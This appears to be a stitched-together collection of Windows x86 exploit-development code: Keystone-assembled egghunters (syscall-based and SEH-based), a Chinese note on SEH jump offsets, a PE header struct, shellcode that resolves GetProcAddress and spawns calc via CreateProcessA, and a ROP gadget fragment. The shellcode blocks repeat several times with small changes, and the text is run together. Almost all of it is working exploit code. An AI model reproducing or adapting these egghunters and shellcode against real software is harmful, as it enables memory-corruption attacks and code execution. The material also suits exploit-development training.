CODE = ( # We use the edx register as a memory page counter " " " loop_inc_page: " # Go to the last address in the memory page " or dx, 0x0fff ;" " loop_inc_one: " # Increase the memory counter by one " inc edx ;" " loop_check: " # Save the edx register which holds our memory # address on the stack " push edx ;" # Push the system call number win10 NtAccessCheckAndAuditAlarm 0x1c8h " push 0x1c8 ;" # Initialize the call to NtAccessCheckAndAuditAlarm " pop eax ;" # Perform the system call " int 0x2e ;" # Check for access violation, 0xc0000005 # (ACCESS_VIOLATION) " cmp al,05 ;" # Restore the edx register to check later # for our egg " pop edx ;" " loop_check_valid: " # If access violation encountered, go to n # ext page " je loop_inc_page ;" " is_egg: " # Load egg (w00t in this example) into # the eax register " mov eax, 0x74303077 ;" # Initializes pointer with current checked # address " mov edi, edx ;" # Compare eax with doubleword at edi and # set status flags " scasd ;" # No match, we will increase our memory # counter by one " jnz loop_inc_one ;" # First part of the egg detected, check for # the second part " scasd ;" # No match, we found just a location # with half an egg " jnz loop_inc_one ;" " matched: " # The edi register points to the first # byte of our buffer, we can jump to it " jmp edi ;" )
# Initialize engine in 32bit mode ks = Ks(KS_ARCH_X86, KS_MODE_32) encoding, count = ks.asm(CODE) egghunter = "" for dec in encoding: egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n") print("egghunter = (\"" + egghunter + "\")")
CODE = ( " start: " # jump to a negative call to dynamically # obtain egghunter position " jmp get_seh_address ;" " build_exception_record: " # pop the address of the exception_handler # into ecx " pop ecx ;" # mov signature into eax " mov eax, 0x74303077 ;" # push Handler of the # _EXCEPTION_REGISTRATION_RECORD structure " push ecx ;" # push Next of the # _EXCEPTION_REGISTRATION_RECORD structure " push 0xffffffff ;" # null out ebx " xor ebx, ebx ;" # overwrite ExceptionList in the TEB with a pointer # to our new _EXCEPTION_REGISTRATION_RECORD structure " mov dword ptr fs:[ebx], esp ;" " sub ecx, 0x04 ;" " add ebx, 0x04 ;" " mov dword ptr fs:[ebx], ecx ;" " is_egg: " # push 0x02 " push 0x02 ;" # pop the value into ecx which will act # as a counter " pop ecx ;" # mov memory address into edi " mov edi, ebx ;" # check for our signature, if the page is invalid we # trigger an exception and jump to our exception_handler function " repe scasd ;" # if we didn't find signature, increase ebx # and repeat " jnz loop_inc_one ;" # we found our signature and will jump to it " jmp edi ;" " loop_inc_page: " # if page is invalid the exception_handler will # update eip to point here and we move to next page " or bx, 0xfff ;" " loop_inc_one: " # increase ebx by one byte " inc ebx ;" # check for signature again " jmp is_egg ;" " get_seh_address: " # call to a higher address to avoid null bytes & push # return to obtain egghunter position " call build_exception_record ;" # push 0x0c onto the stack " push 0x0c ;" # pop the value into ecx " pop ecx ;" # mov into eax the pointer to the CONTEXT # structure for our exception " mov eax, [esp+ecx] ;" # mov 0xb8 into ecx which will act as an # offset to the eip " mov cl, 0xb8 ;" # increase the value of eip by 0x06 in our CONTEXT # so it points to the "or bx, 0xfff" instruction # to increase the memory page " add dword ptr ds:[eax+ecx], 0x06 ;" # save return value into eax " pop eax ;" # increase esp to clean the stack for our call " add esp, 0x10 ;" # push return value back into the stack " push eax ;" # null out eax to simulate # ExceptionContinueExecution return " xor eax, eax ;" # return " ret ;" )
理论上0x625010b4就可以让eip指向shellcode的开始部分,触发shellcode。但是实际上跳转完成之后,后续中间可能存在脏字符,需要根据实际情况进行调整。如本例。用\xcc\xcc\xcc\xcc中断程序执行,来看一下栈上的数据的情况。结合之前SEH利用,JMP的时候至少要跳过6byte,实际上是JMP SHORT 0x08或者JMP $+0x08。(因为JMP指令会占2byte,所以后面的偏移为0x08)
typedefstruct _IMAGE_DOS_HEADER {// DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
inc ecx //increment counter lodsd //Get name offset add eax, ebx //Get function name cmp [eax], 0x50746547 //"PteG" jnz short GetFunction //jump to GetFunction label if not "GetP" cmp [eax + 0x4], 0x41636F72 //"rocA" jnz short GetFunction //jump to GetFunction label if not "rocA" cmp [eax + 0x8], 0x65726464 //"ddre" jnz short GetFunction //jump to GetFunction label if not "ddre"
; for 'lpProcessInformation' and 'lpStartupInfo' xor ecx, ecx ; zero out counter register mov cl, 0xff ; we ll loop 255 times (0xff) xor edi, edi ;edi now 0x00000000
zero_loop:
push edi; place 0x00000000 on stack 255 times loop zero_loop; as a way to 'zero memory'
inc ecx ;increment counter lodsd ;Get name offset add eax, ebx ;Get function name cmp [eax], 0x50746547 ;"PteG" jnz short GetFunction ;jump to GetFunction label if not "GetP" cmp [eax + 0x4], 0x41636F72 ;"rocA" jnz short GetFunction ;jump to GetFunction label if not "rocA" cmp [eax + 0x8], 0x65726464 ;"ddre" jnz short GetFunction ;jump to GetFunction label if not "ddre"
xor ecx, ecx ; zeroing ecx push ebx ; kernel32 base address push edx ; GetProcAddress push 0x61614173 ; aaAs sub word ptr [esp + 0x2], 0x6161 ; aaAs - aa push 0x7365636f ; seco push 0x72506574 ; rPet push 0x61657243 ; aerC push esp ; push the pointer to stack push ebx call edx ; call getprocAddress
; for 'lpProcessInformation' and 'lpStartupInfo' xor ecx, ecx ; zero out counter register mov cl, 0xff ; we ll loop 255 times (0xff) xor edi, edi ;edi now 0x00000000
zero_loop:
push edi; place 0x00000000 on stack 255 times loop zero_loop; as a way to 'zero memory' push 0x636c6163 ;calc mov ecx, esp ;stack pointer to 'calc'
push ecx ; processinfo pointing to 'calc' as a struct argument push ecx ; startupinfo pointing to 'calc' as a struct argument xor edx, edx ; zero out push edx ; NULLS push edx push edx push edx push edx push edx push ecx ; 'calc' push edx call eax ; call CreateProcessA and spawn calc
push 0x61737365 ; asse sub word ptr [esp + 0x3], 0x61 ; asse -a push 0x636F7250 ; corP push 0x74697845 ; tixE push esp push ebx call esi
xor ecx, ecx ; zeroing ecx push ebx ; kernel32 base address push edx ; GetProcAddress push 0x61614173 ; aaAs sub word ptr [esp + 0x2], 0x6161 ; aaAs - aa push 0x7365636f ; seco push 0x72506574 ; rPet push 0x61657243 ; aerC push esp ; push the pointer to stack push ebx call edx ; call getprocAddress
; for 'lpProcessInformation' and 'lpStartupInfo' xor ecx, ecx ; zero out counter register mov cl, 0xff ; we ll loop 255 times (0xff) xor edi, edi ;edi now 0x00000000
zero_loop:
push edi; place 0x00000000 on stack255 times loop zero_loop; as a way to 'zero memory' push 0x636c6163 ;calc mov ecx, esp ;stack pointer to 'calc'
push ecx ; processinfo pointing to 'calc' as a struct argument push ecx ; startupinfo pointing to 'calc' as a struct argument xor edx, edx ; zero out push edx ; NULLS push edx push edx push edx push edx push edx push ecx ; 'calc' push edx call eax ; call CreateProcessA and spawn calc
push 0x61737365 ; asse sub word ptr [esp + 0x3], 0x61 ; asse -a push 0x636F7250 ; corP push 0x74697845 ; tixE push esp push ebx call esi
inc ecx ;increment counter lodsd ;Get name offset add eax, ebx ;Get function name cmp dword [eax], 0x50746547 ;"PteG" jnz short GetFunction ;jump to GetFunction label if not "GetP" cmp dword [eax + 0x4], 0x41636F72 ;"rocA" jnz short GetFunction ;jump to GetFunction label if not "rocA" cmp dword [eax + 0x8], 0x65726464 ;"ddre" jnz short GetFunction ;jump to GetFunction label if not "ddre"
xor ecx, ecx ; zeroing ecx push ebx ; kernel32 base address push edx ; GetProcAddress push 0x61614173 ; aaAs sub word [esp + 0x2], 0x6161 ; aaAs - aa push 0x7365636f ; seco push 0x72506574 ; rPet push 0x61657243 ; aerC push esp ; push the pointer to stack push ebx call edx ; call getprocAddress
; for 'lpProcessInformation' and 'lpStartupInfo' xor ecx, ecx ; zero out counter register mov cl, 0xff ; we ll loop 255 times (0xff) xor edi, edi ;edi now 0x00000000
zero_loop:
push edi; place 0x00000000 on stack 255 times loop zero_loop; as a way to 'zero memory'
push 0x636c6163 ;calc mov ecx, esp ;stack pointer to 'calc'
push ecx ; processinfo pointing to 'calc' as a struct argument push ecx ; startupinfo pointing to 'calc' as a struct argument xor edx, edx ; zero out push edx ; NULLS push edx push edx push edx push edx push edx push ecx ; 'calc' push edx call eax ; call CreateProcessA and spawn calc
push 0x61737365 ; asse sub word [esp + 0x3], 0x61 ; asse -a push 0x636F7250 ; corP push 0x74697845 ; tixE push esp push ebx call esi
#POP Gadget 16 struct.pack('<L',0x41ac80db)+ #0x41ac80db: dec eax ; dec eax ; ret ; (1 found) struct.pack('<L',0x41ac80db)+ #0x41ac80db: dec eax ; dec eax ; ret ; (1 found)